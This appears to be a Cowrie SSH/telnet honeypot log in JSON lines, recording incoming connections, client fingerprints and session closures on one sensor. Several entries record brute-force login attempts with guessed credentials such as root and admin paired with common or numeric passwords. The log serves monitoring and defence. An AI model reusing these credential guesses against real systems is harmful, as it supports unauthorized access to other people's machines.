{"eventid":"cowrie.session.closed","duration":36.06708335876465,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:34.199219Z","src_ip":"135.148.14.151","session":"5f8d33980995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":57876,"dst_ip":"10.17.0.5","dst_port":22,"session":"aadf3282cd40","protocol":"ssh","message":"New connection: 194.113.233.25:57876 (10.17.0.5:22) [session: aadf3282cd40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:38.352423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:38.359158Z","src_ip":"194.113.233.25","session":"aadf3282cd40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:38.454901Z","src_ip":"194.113.233.25","session":"aadf3282cd40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120189","message":"login attempt [root/120189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:38.748744Z","src_ip":"194.113.233.25","session":"aadf3282cd40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.31252694129944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:39.020974Z","src_ip":"135.148.14.151","session":"ca3f2635cb21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.402464628219604,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:39.495796Z","src_ip":"135.148.14.151","session":"dcbc0593b88c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:39.847609Z","src_ip":"194.113.233.25","session":"aadf3282cd40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37742,"dst_ip":"159.203.135.109","dst_port":23,"session":"f34ab268d78e","protocol":"telnet","message":"New connection: 135.148.14.151:37742 (159.203.135.109:23) [session: f34ab268d78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:47.391627Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38388,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed894488ec6e","protocol":"telnet","message":"New connection: 135.148.14.151:38388 (159.203.135.109:23) [session: ed894488ec6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:47.956090Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.19.75.28","src_port":22506,"dst_ip":"159.203.135.109","dst_port":22,"session":"040fb4470aa2","protocol":"ssh","message":"New connection: 175.19.75.28:22506 (159.203.135.109:22) [session: 040fb4470aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:56.061400Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.117.192.26","src_port":39037,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fc21ae26f1a","protocol":"ssh","message":"New connection: 124.117.192.26:39037 (159.203.135.109:22) [session: 1fc21ae26f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:58.621228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:58.625836Z","src_ip":"124.117.192.26","session":"1fc21ae26f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2aec6b44b06bec95d73f66b5d30cb69a","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2aec6b44b06bec95d73f66b5d30cb69a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:58.976617Z","src_ip":"124.117.192.26","session":"1fc21ae26f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:08:59.288476Z","src_ip":"175.19.75.28","session":"040fb4470aa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44674,"dst_ip":"159.203.135.109","dst_port":23,"session":"3967f1f2af35","protocol":"telnet","message":"New connection: 135.148.14.151:44674 (159.203.135.109:23) [session: 3967f1f2af35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:01.721236Z"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:13.623747Z","src_ip":"124.117.192.26","session":"1fc21ae26f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.816171646118164,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:23.772121Z","src_ip":"135.148.14.151","session":"ed894488ec6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.08542823791504,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:24.476783Z","src_ip":"135.148.14.151","session":"f34ab268d78e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.43115019798279,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:38.152262Z","src_ip":"135.148.14.151","session":"3967f1f2af35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":59848,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a26d3eb259a","protocol":"ssh","message":"New connection: 87.251.79.125:59848 (159.203.135.109:22) [session: 6a26d3eb259a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:38.689941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:38.695160Z","src_ip":"87.251.79.125","session":"6a26d3eb259a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:38.768930Z","src_ip":"87.251.79.125","session":"6a26d3eb259a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abkbvjy","message":"login attempt [root/abkbvjy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:38.988551Z","src_ip":"87.251.79.125","session":"6a26d3eb259a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:40.065172Z","src_ip":"87.251.79.125","session":"6a26d3eb259a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32828,"dst_ip":"159.203.135.109","dst_port":23,"session":"d54a7962cf1c","protocol":"telnet","message":"New connection: 135.148.14.151:32828 (159.203.135.109:23) [session: d54a7962cf1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:42.458914Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35394,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eb526e01ae6","protocol":"telnet","message":"New connection: 135.148.14.151:35394 (159.203.135.109:23) [session: 2eb526e01ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:45.812510Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47542,"dst_ip":"159.203.135.109","dst_port":23,"session":"69829d42647f","protocol":"telnet","message":"New connection: 135.148.14.151:47542 (159.203.135.109:23) [session: 69829d42647f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:55.232844Z"}
{"eventid":"cowrie.session.closed","duration":0.011282682418823242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:55.243994Z","src_ip":"135.148.14.151","session":"69829d42647f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":50622,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0188fb4ebcd","protocol":"ssh","message":"New connection: 2.57.121.112:50622 (10.17.0.5:22) [session: d0188fb4ebcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:56.950293Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38704,"dst_ip":"159.203.135.109","dst_port":23,"session":"c07be7528881","protocol":"telnet","message":"New connection: 135.148.14.151:38704 (159.203.135.109:23) [session: c07be7528881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:56.959129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:57.311518Z","src_ip":"2.57.121.112","session":"d0188fb4ebcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:57.413064Z","src_ip":"2.57.121.112","session":"d0188fb4ebcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030977","message":"login attempt [admin/030977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:57.909593Z","src_ip":"2.57.121.112","session":"d0188fb4ebcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030885","message":"login attempt [admin/030885] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:09:59.019020Z","src_ip":"2.57.121.112","session":"d0188fb4ebcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030879","message":"login attempt [admin/030879] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:00.132974Z","src_ip":"2.57.121.112","session":"d0188fb4ebcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03081997","message":"login attempt [admin/03081997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:01.246354Z","src_ip":"2.57.121.112","session":"d0188fb4ebcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030788","message":"login attempt [admin/030788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:02.355671Z","src_ip":"2.57.121.112","session":"d0188fb4ebcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:03.473202Z","src_ip":"2.57.121.112","session":"d0188fb4ebcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.09378957748413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:13.552610Z","src_ip":"135.148.14.151","session":"d54a7962cf1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02032494544983,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:20.832732Z","src_ip":"135.148.14.151","session":"2eb526e01ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.22074627876282,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:29.179760Z","src_ip":"135.148.14.151","session":"c07be7528881","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":42938,"dst_ip":"10.17.0.5","dst_port":22,"session":"51665e782fa9","protocol":"ssh","message":"New connection: 38.93.206.2:42938 (10.17.0.5:22) [session: 51665e782fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:39.349266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:39.357825Z","src_ip":"38.93.206.2","session":"51665e782fa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:39.401582Z","src_ip":"38.93.206.2","session":"51665e782fa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kotopes","message":"login attempt [root/kotopes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:39.597149Z","src_ip":"38.93.206.2","session":"51665e782fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:40.651051Z","src_ip":"38.93.206.2","session":"51665e782fa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33018,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7f118860f87","protocol":"telnet","message":"New connection: 135.148.14.151:33018 (159.203.135.109:23) [session: f7f118860f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:45.796879Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53926,"dst_ip":"10.17.0.5","dst_port":22,"session":"8433e76798e7","protocol":"ssh","message":"New connection: 89.223.69.22:53926 (10.17.0.5:22) [session: 8433e76798e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:59.988210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:10:59.993017Z","src_ip":"89.223.69.22","session":"8433e76798e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:00.116306Z","src_ip":"89.223.69.22","session":"8433e76798e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hamlet","message":"login attempt [root/hamlet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:00.496435Z","src_ip":"89.223.69.22","session":"8433e76798e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:01.626130Z","src_ip":"89.223.69.22","session":"8433e76798e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":35928,"dst_ip":"159.203.135.109","dst_port":22,"session":"370c3ffd5f35","protocol":"ssh","message":"New connection: 37.233.85.71:35928 (159.203.135.109:22) [session: 370c3ffd5f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:08.702178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:08.707641Z","src_ip":"37.233.85.71","session":"370c3ffd5f35","protocol":"ssh"}
